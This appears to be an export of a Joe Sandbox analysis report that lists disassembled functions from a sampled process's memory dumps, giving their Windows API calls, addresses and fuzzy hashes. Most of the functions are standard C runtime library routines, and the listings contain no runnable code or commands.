Function 02C64B50 Relevance: 7.5, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000000), ref: 02C64B63
EnterCriticalSection.KERNEL32(?,?,00000000), ref: 02C64B6D
LeaveCriticalSection.KERNEL32(?,?,00000000), ref: 02C64B80
LeaveCriticalSection.KERNEL32(?,?,00000000), ref: 02C64B83

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 52235b2d5b058f3df6c3c464c61c4fe8189971ea9273bcfbbb810dec1ee1ce22
Instruction ID: d911d2f81c38a6b7778d3ebd5df164d1411c2145308071dd7eafb282b7956257
Opcode Fuzzy Hash: 52235b2d5b058f3df6c3c464c61c4fe8189971ea9273bcfbbb810dec1ee1ce22
Instruction Fuzzy Hash: 75014F76A006149FD7309B39FCC8BABB7E8EB88365F054929E54683600C774E8498AE0

Function 03785006 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 03785012

Part of subcall function 03783E5B: __getptd_noexit.LIBCMT ref: 03783E5E
Part of subcall function 03783E5B: __amsg_exit.LIBCMT ref: 03783E6B

__getptd.LIBCMT ref: 03785029
__amsg_exit.LIBCMT ref: 03785037
__lock.LIBCMT ref: 03785047
__updatetlocinfoEx_nolock.LIBCMT ref: 0378505B

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 37c25ef8c493497175c2903efd35410a32b049fce5d0f8274ddf471171d4f930
Instruction ID: 60bd9e3e492e015a27c2c2bdddf3c2d099267ba393b0b1d6674ae9408a567699
Opcode Fuzzy Hash: 37c25ef8c493497175c2903efd35410a32b049fce5d0f8274ddf471171d4f930
Instruction Fuzzy Hash: 6AF0B43A9C5705DBE760FB78A809B9D73A0AF05B35F54434ED515AF1C0CB7844428A96

Function 02BDE116 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 02BDE122

Part of subcall function 02BD98E6: __getptd_noexit.LIBCMT ref: 02BD98E9
Part of subcall function 02BD98E6: __amsg_exit.LIBCMT ref: 02BD98F6

__getptd.LIBCMT ref: 02BDE139
__amsg_exit.LIBCMT ref: 02BDE147
__lock.LIBCMT ref: 02BDE157
__updatetlocinfoEx_nolock.LIBCMT ref: 02BDE16B

Memory Dump Source

Source File: 00000004.00000002.4154101487.0000000002BD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bd0000_UNK_.jbxd

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: ae27d4fbf31c29595a38e1aa150fd8cf220abffb4ca541ac361fbea8b80d16f3
Instruction ID: 3eaddc9a7267e2f8e7ea1ba371f9d6708206d3d79383aaf030d2c351c14daeff
Opcode Fuzzy Hash: ae27d4fbf31c29595a38e1aa150fd8cf220abffb4ca541ac361fbea8b80d16f3
Instruction Fuzzy Hash: 0FF0BE32A44A20ABEB29FBB89801BDD36B2AF04724F1441C9D5546F2D0FB34E880DE56

Function 036049C5 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 036049D1

Part of subcall function 0360381A: __getptd_noexit.LIBCMT ref: 0360381D
Part of subcall function 0360381A: __amsg_exit.LIBCMT ref: 0360382A

__getptd.LIBCMT ref: 036049E8
__amsg_exit.LIBCMT ref: 036049F6
__lock.LIBCMT ref: 03604A06
__updatetlocinfoEx_nolock.LIBCMT ref: 03604A1A

Memory Dump Source

Source File: 00000004.00000002.4158929233.00000000035F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 035F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_35f0000_UNK_.jbxd

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: b8df328af2ca13b15628588c2ddeec9715aad909c858093188abaa4f1f59b7b1
Instruction ID: b9f351466f692f64882b426a0dd701a613879c23b8d6c029373509ed395d7f99
Opcode Fuzzy Hash: b8df328af2ca13b15628588c2ddeec9715aad909c858093188abaa4f1f59b7b1
Instruction Fuzzy Hash: 4FF0903A9463109AE63EFB69980374F77A0AF00721F25825DE654AF3D1CF6449418E5D

Function 02C6E13F Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 02C6E14B

Part of subcall function 02C6990F: __getptd_noexit.LIBCMT ref: 02C69912
Part of subcall function 02C6990F: __amsg_exit.LIBCMT ref: 02C6991F

__getptd.LIBCMT ref: 02C6E162
__amsg_exit.LIBCMT ref: 02C6E170
__lock.LIBCMT ref: 02C6E180
__updatetlocinfoEx_nolock.LIBCMT ref: 02C6E194

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: e1f0714e5199d61733fca1c34816c6d619cb01ca18c9bdd399e09fd5de64fa5c
Instruction ID: ac6a7284df639d66f062e3e21f8f473597d8925ba55ea16277e8a0be02a0d3e0
Opcode Fuzzy Hash: e1f0714e5199d61733fca1c34816c6d619cb01ca18c9bdd399e09fd5de64fa5c
Instruction Fuzzy Hash: DAF090329446249BEB25BBB9988DBB933A26F00B24F14821AD455A71C1CB745600FE55

Function 0377C910 Relevance: 7.5, APIs: 5, Instructions: 33processCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,000001FE), ref: 0377C932
GetCommandLineW.KERNEL32 ref: 0377C938
GetStartupInfoW.KERNEL32(?), ref: 0377C947
CreateProcessW.KERNEL32(?,00000000,00000000,00000000,00000000,00000020,00000000,00000000,?,?), ref: 0377C96F
ExitProcess.KERNEL32 ref: 0377C977

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: Process$CommandCreateExitFileInfoLineModuleNameStartup
String ID:
API String ID: 3421218197-0
Opcode ID: 834a49c94219bc848afb7bab4169a0c7f3de4cdaa536ee173dbfecc814dc2407
Instruction ID: 9a72cf782d05ac7d04c38655f7d8bc18c688d0cd8b0b371d7445d2a6ad038e15
Opcode Fuzzy Hash: 834a49c94219bc848afb7bab4169a0c7f3de4cdaa536ee173dbfecc814dc2407
Instruction Fuzzy Hash: 0FF06D3158431CBBEB20BBA4DC4EFEA7778EB04B00F104795F619AA0D5DA746A45CB54

Function 037775B0 Relevance: 7.5, APIs: 5, Instructions: 33processCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,000001FE), ref: 037775D2
GetCommandLineW.KERNEL32 ref: 037775D8
GetStartupInfoW.KERNEL32(?), ref: 037775E7
CreateProcessW.KERNEL32(?,00000000,00000000,00000000,00000000,00000020,00000000,00000000,?,?), ref: 0377760F
ExitProcess.KERNEL32 ref: 03777617

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: Process$CommandCreateExitFileInfoLineModuleNameStartup
String ID:
API String ID: 3421218197-0
Opcode ID: e8f7a8d79768f62d4a169bd1851416164f915e808c4934e8e8aaf7dc1beb2180
Instruction ID: 167092850a35b6e3f340384fe744b9a3681b40c84012e681934f58afdbd2d035
Opcode Fuzzy Hash: e8f7a8d79768f62d4a169bd1851416164f915e808c4934e8e8aaf7dc1beb2180
Instruction Fuzzy Hash: FEF0F07158131CBBE720BBA4DC4EFE93778EB04B00F208795F319AA0C5D6746A45CB54

Function 0377F9B8 Relevance: 7.5, APIs: 5, Instructions: 24threadCOMMON

Download Yara Rule

APIs

Part of subcall function 03781CD0: _doexit.LIBCMT ref: 03781CDC

___set_flsgetvalue.LIBCMT ref: 0377F9CA

Part of subcall function 03783CA0: TlsGetValue.KERNEL32(00000000,03783DF9,?,03784500,00000000,00000001,00000000,?,03788DE6,00000018,03796448,0000000C,03788E76,00000000,00000000), ref: 03783CA9
Part of subcall function 03783CA0: DecodePointer.KERNEL32(?,03784500,00000000,00000001,00000000,?,03788DE6,00000018,03796448,0000000C,03788E76,00000000,00000000,?,03783F06,0000000D), ref: 03783CBB
Part of subcall function 03783CA0: TlsSetValue.KERNEL32(00000000,?,03784500,00000000,00000001,00000000,?,03788DE6,00000018,03796448,0000000C,03788E76,00000000,00000000,?,03783F06), ref: 03783CCA

___fls_getvalue@4.LIBCMT ref: 0377F9D5

Part of subcall function 03783C80: TlsGetValue.KERNEL32(?,?,0377F9DA,00000000), ref: 03783C8E

___fls_setvalue@8.LIBCMT ref: 0377F9E8

Part of subcall function 03783CD4: DecodePointer.KERNEL32(?,?,?,0377F9ED,00000000,?,00000000), ref: 03783CE5

GetLastError.KERNEL32(00000000,?,00000000), ref: 0377F9F1
ExitThread.KERNEL32 ref: 0377F9F8
GetCurrentThreadId.KERNEL32 ref: 0377F9FE
__freefls@4.LIBCMT ref: 0377FA1E

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: Value$DecodePointerThread$CurrentErrorExitLast___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4_doexit
String ID:
API String ID: 781180411-0
Opcode ID: 4b23b0d224d6d6ff75672bd039b53fce4462dc64ada271677aa936ac2e819709
Instruction ID: 79ba2cc7b11d4cb37edd2b074d58cb67a95e4597effd465688d54d1baa2ad682
Opcode Fuzzy Hash: 4b23b0d224d6d6ff75672bd039b53fce4462dc64ada271677aa936ac2e819709
Instruction Fuzzy Hash: 89E0863DA8031977DF00F7F58E0C84F3A9CAD01581F150800FE14DF041EE28D51287A2

Function 02C671AA Relevance: 7.5, APIs: 5, Instructions: 24threadCOMMON

Download Yara Rule

APIs

Part of subcall function 02C682F0: _doexit.LIBCMT ref: 02C682FC

___set_flsgetvalue.LIBCMT ref: 02C671BC

Part of subcall function 02C69754: TlsGetValue.KERNEL32(00000000,02C698AD,?,02C69FB0,00000000,00000001,00000000,?,02C6C0CF,00000018,02C77C70,0000000C,02C6C15F,00000000,00000000), ref: 02C6975D
Part of subcall function 02C69754: DecodePointer.KERNEL32(?,02C69FB0,00000000,00000001,00000000,?,02C6C0CF,00000018,02C77C70,0000000C,02C6C15F,00000000,00000000,?,02C699BA,0000000D), ref: 02C6976F
Part of subcall function 02C69754: TlsSetValue.KERNEL32(00000000,?,02C69FB0,00000000,00000001,00000000,?,02C6C0CF,00000018,02C77C70,0000000C,02C6C15F,00000000,00000000,?,02C699BA), ref: 02C6977E

___fls_getvalue@4.LIBCMT ref: 02C671C7

Part of subcall function 02C69734: TlsGetValue.KERNEL32(?,?,02C671CC,00000000), ref: 02C69742

___fls_setvalue@8.LIBCMT ref: 02C671DA

Part of subcall function 02C69788: DecodePointer.KERNEL32(?,?,?,02C671DF,00000000,?,00000000), ref: 02C69799

GetLastError.KERNEL32(00000000,?,00000000), ref: 02C671E3
ExitThread.KERNEL32 ref: 02C671EA
GetCurrentThreadId.KERNEL32 ref: 02C671F0
__freefls@4.LIBCMT ref: 02C67210

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: Value$DecodePointerThread$CurrentErrorExitLast___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4_doexit
String ID:
API String ID: 781180411-0
Opcode ID: dcc65cb04a5a40840b73ea77ba24e09d106e31f8adac22ac207de0aff5ceb80f
Instruction ID: dac45f0fd5085faf2bc386398a9dc903b2aa2e418217fa2694ed411672c917fa
Opcode Fuzzy Hash: dcc65cb04a5a40840b73ea77ba24e09d106e31f8adac22ac207de0aff5ceb80f
Instruction Fuzzy Hash: AFE0EC35C406096BCF107FF18DCCAFF7A6E9E45399B144D10EE1493001EF389965AEA5

Function 03779430 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 100COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0377944A

Part of subcall function 0377EF86: std::exception::exception.LIBCMT ref: 0377EF9B
Part of subcall function 0377EF86: __CxxThrowException@8.LIBCMT ref: 0377EFB0
Part of subcall function 0377EF86: std::exception::exception.LIBCMT ref: 0377EFC1

std::_Xinvalid_argument.LIBCPMT ref: 03779482

Part of subcall function 0377EF39: std::exception::exception.LIBCMT ref: 0377EF4E
Part of subcall function 0377EF39: __CxxThrowException@8.LIBCMT ref: 0377EF63
Part of subcall function 0377EF39: std::exception::exception.LIBCMT ref: 0377EF74

Strings

string too long, xrefs: 0377947D
invalid string position, xrefs: 03779445

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentstd::_
String ID: invalid string position$string too long
API String ID: 1823113695-4289949731
Opcode ID: fc52b779fa5fb87f22dc426ce10d543a9d17a0bc307ba7d5ef0cc2544bd01294
Instruction ID: efc2c03cd08aba9b10093651a7f3bf7e2ccd75a3c862186502ad2e9538ed1c6c
Opcode Fuzzy Hash: fc52b779fa5fb87f22dc426ce10d543a9d17a0bc307ba7d5ef0cc2544bd01294
Instruction Fuzzy Hash: 5321D8337013109BDB21EE6CF88095BF7E9EB93664B240A6FE292CB741D761D940C3A1

Function 037784B0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 037784C9

Part of subcall function 0377EF86: std::exception::exception.LIBCMT ref: 0377EF9B
Part of subcall function 0377EF86: __CxxThrowException@8.LIBCMT ref: 0377EFB0
Part of subcall function 0377EF86: std::exception::exception.LIBCMT ref: 0377EFC1

std::_Xinvalid_argument.LIBCPMT ref: 037784E7

Strings

string too long, xrefs: 037784E2
invalid string position, xrefs: 037784C4

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8Throw
String ID: invalid string position$string too long
API String ID: 963545896-4289949731
Opcode ID: bf40712d8e3970a2dace2942d3d788866641e281798bb75d4d25a2628bc15421
Instruction ID: 717b8f712763af27e36b71ad1d60942808fc0128ef2732d9c3dc174c9f303ee1
Opcode Fuzzy Hash: bf40712d8e3970a2dace2942d3d788866641e281798bb75d4d25a2628bc15421
Instruction Fuzzy Hash: 03219D72700306ABCF14DF6CE889859B3AABF88350714466EF516CB641EB30EA54C792

Function 02BE3A27 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 02BE3A3A

Part of subcall function 02BE3995: ___BuildCatchObjectHelper.LIBCMT ref: 02BE39CB

_UnwindNestedFrames.LIBCMT ref: 02BE3A51

Strings

csm, xrefs: 02BE3A36, 02BE3A4B, 02BE3A5E, 02BE3A7C, 02BE3A8C
csm, xrefs: 02BE3A29

Memory Dump Source

Source File: 00000004.00000002.4154101487.0000000002BD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bd0000_UNK_.jbxd

Similarity

API ID: BuildCatchObject$FramesHelperNestedUnwind
String ID: csm$csm
API String ID: 3487967840-3733052814
Opcode ID: 5a0efde82555800522ebcbcdf0ebfc514e59fc27468206ba67c06b53666bf625
Instruction ID: cd0639a302832e33238d652a63581382a00d383911357538566c134bfd36e8d7
Opcode Fuzzy Hash: 5a0efde82555800522ebcbcdf0ebfc514e59fc27468206ba67c06b53666bf625
Instruction Fuzzy Hash: AF01E47100010ABBDF12AE51CC44EAE7FAAEF08354F048090BD2A16160D73299A1DBA1

Function 0377D830 Relevance: 6.4, APIs: 5, Instructions: 140COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000014), ref: 0377D868
IsBadReadPtr.KERNEL32(?,00000014), ref: 0377D938
SetLastError.KERNEL32(0000007F), ref: 0377D963

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: Read$ErrorLast
String ID:
API String ID: 2715074504-0
Opcode ID: edbdb1b9a04e95681ca9efeb825c283bd3f3cae2615897e7d8e0a917a5ab6a62
Instruction ID: e061e3b7e90980734be5e0d1ce184a5187701bb5bb939f79c4ace526a2c9c01d
Opcode Fuzzy Hash: edbdb1b9a04e95681ca9efeb825c283bd3f3cae2615897e7d8e0a917a5ab6a62
Instruction Fuzzy Hash: 9A419E71A00209ABDB20DF99DC80B6AF3F9FF88314F1885A9E85997351D774F911CB50

Function 02BD9A9D Relevance: 6.1, APIs: 4, Instructions: 109COMMONLIBRARYCODE

Download Yara Rule

APIs

__mtterm.LIBCMT ref: 02BD9AB1
__init_pointers.LIBCMT ref: 02BD9B63
__calloc_crt.LIBCMT ref: 02BD9BD1

Memory Dump Source

Source File: 00000004.00000002.4154101487.0000000002BD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bd0000_UNK_.jbxd

Similarity

API ID: __calloc_crt__init_pointers__mtterm
String ID:
API String ID: 2478854527-0
Opcode ID: 720715378607e4f18366517d453de5e5cb8b5ca67b172311fa18d72390665dd8
Instruction ID: 4be82c3ba73a350aeca1fe20b3b7ab96338cdc4cb04dc3c44c4408387c98a7f7
Opcode Fuzzy Hash: 720715378607e4f18366517d453de5e5cb8b5ca67b172311fa18d72390665dd8
Instruction Fuzzy Hash: 86313B31940E35EEFB21AF748D887993EE6EB49365B188566E414DB2B0FB31C081CF50

Function 036039D3 Relevance: 6.1, APIs: 4, Instructions: 109COMMONLIBRARYCODE

Download Yara Rule

APIs

__mtterm.LIBCMT ref: 036039E7
__init_pointers.LIBCMT ref: 03603A99
__calloc_crt.LIBCMT ref: 03603B07

Memory Dump Source

Source File: 00000004.00000002.4158929233.00000000035F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 035F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_35f0000_UNK_.jbxd

Similarity

API ID: __calloc_crt__init_pointers__mtterm
String ID:
API String ID: 2478854527-0
Opcode ID: 76c9643fd1df18821398edaab6323fbd9f0414cbbe87c74b2baaec3723e64a7d
Instruction ID: c0d80637c75b2fed8c9acdf0db96c1d41f123d936fc30c1bd01686cdd088d7cb
Opcode Fuzzy Hash: 76c9643fd1df18821398edaab6323fbd9f0414cbbe87c74b2baaec3723e64a7d
Instruction Fuzzy Hash: A1318D39902730EFEB16EB758D99A17BFA4EB44761B24451AF910DA3B1E7708051DF40

Function 0378A5C2 Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0378A5F6
__isleadbyte_l.LIBCMT ref: 0378A629
MultiByteToWideChar.KERNEL32(00000080,00000009,?,?,?,00000000,?,?,?,?), ref: 0378A65A
MultiByteToWideChar.KERNEL32(00000080,00000009,?,00000001,?,00000000,?,?,?,?), ref: 0378A6C8

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: d2d44240c2fb2d50508cfa39d47d823676f68932a5a3f6096fd77d7121c7e753
Instruction ID: ce1356c43f454e77a7d58b263d30728eefbbd39463e825a5e257371e17026e54
Opcode Fuzzy Hash: d2d44240c2fb2d50508cfa39d47d823676f68932a5a3f6096fd77d7121c7e753
Instruction Fuzzy Hash: 7831F231A81246EFCF60EF64C894EBEBBB5BF01310F1885AAE5518B195D330D990DB50

Function 02C6E425 Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 02C6E459
__isleadbyte_l.LIBCMT ref: 02C6E48C
MultiByteToWideChar.KERNEL32(00000080,00000009,?,?,?,00000000,?,?,?,?), ref: 02C6E4BD
MultiByteToWideChar.KERNEL32(00000080,00000009,?,00000001,?,00000000,?,?,?,?), ref: 02C6E52B

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 44a138fd3025d2bae21d36c6f53276f6f68c24f2f7f1e01409c4ac7636b9081b
Instruction ID: bfda68b0748dfc041a224fcd711d1df0ac5bb150e25d883c664d0ddc26f7e7bc
Opcode Fuzzy Hash: 44a138fd3025d2bae21d36c6f53276f6f68c24f2f7f1e01409c4ac7636b9081b
Instruction Fuzzy Hash: B331E135A00255EFDF20DFB4C8C8EBA3BA6EF49314F1885AAE4658B590E330DA40DF51

Function 03778020 Relevance: 6.1, APIs: 4, Instructions: 91stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?), ref: 03778038
_memset.LIBCMT ref: 03778042
lstrlenW.KERNEL32(?), ref: 0377804B
lstrlenW.KERNEL32(?), ref: 03778056

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: lstrlen$_memset
String ID:
API String ID: 2425037729-0
Opcode ID: a8e8a58d804d7bb3da58d748ccc4fce6704bb2dc5a522f9905fd80b161ec3234
Instruction ID: 33ffddde8df13b2513d85ebe2546671c88c468af74a32a9b8ce245bd02cea61a
Opcode Fuzzy Hash: a8e8a58d804d7bb3da58d748ccc4fce6704bb2dc5a522f9905fd80b161ec3234
Instruction Fuzzy Hash: 9D21FB7670020CBBCF14DF69DC8A9BEB3A9EBC4710B29816DED0987201F7319D51C6A2

Function 03774380 Relevance: 6.1, APIs: 4, Instructions: 70networkCOMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000139F), ref: 037743EC

Part of subcall function 037713A0: HeapAlloc.KERNEL32(00000000,00000000,?,?,?,?), ref: 037713CB

Part of subcall function 037741E0: EnterCriticalSection.KERNEL32(03774FB5,03774E55,037742BE,00000000,?,?,03774E55,?,?,?,?,00000000,000000FF), ref: 037741E8
Part of subcall function 037741E0: LeaveCriticalSection.KERNEL32(03774FB5,?,?,?,00000000,000000FF), ref: 037741F6

Part of subcall function 03774C70: HeapFree.KERNEL32(?,00000000,?,00000000,03774E55,?,037742C8,03774E55,00000000,?,?,03774E55,?), ref: 03774C97

SetLastError.KERNEL32(00000000,?), ref: 037743D7
SetLastError.KERNEL32(00000057), ref: 03774401
WSAGetLastError.WS2_32(?), ref: 03774410

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: ErrorLast$CriticalHeapSection$AllocEnterFreeLeave
String ID:
API String ID: 2060118545-0
Opcode ID: 87bea9607807db6c97d5dc4b0c3ac44040978e0e5e3bf0c2b7401ddef13c0159
Instruction ID: 117c562c6a62494fa1dc80c80c28d5c40e546767af21526f0739c5b1b3276278
Opcode Fuzzy Hash: 87bea9607807db6c97d5dc4b0c3ac44040978e0e5e3bf0c2b7401ddef13c0159
Instruction Fuzzy Hash: B5118A3AA0551CA79F10FF7AF84459EB7A8EF88232B5945A6EC0CD7200D735991147D0

Function 02C64380 Relevance: 6.1, APIs: 4, Instructions: 70networkCOMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000139F), ref: 02C643EC

Part of subcall function 02C613A0: HeapAlloc.KERNEL32(00000000,00000000,?,?,?,?), ref: 02C613CB

Part of subcall function 02C64C50: HeapFree.KERNEL32(?,00000000,?,00000000,02C64E35,?,02C642C8,02C64E35,00000000,?,?,02C64E35,?), ref: 02C64C77

SetLastError.KERNEL32(00000000,?), ref: 02C643D7
SetLastError.KERNEL32(00000057), ref: 02C64401
WSAGetLastError.WS2_32(?), ref: 02C64410

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
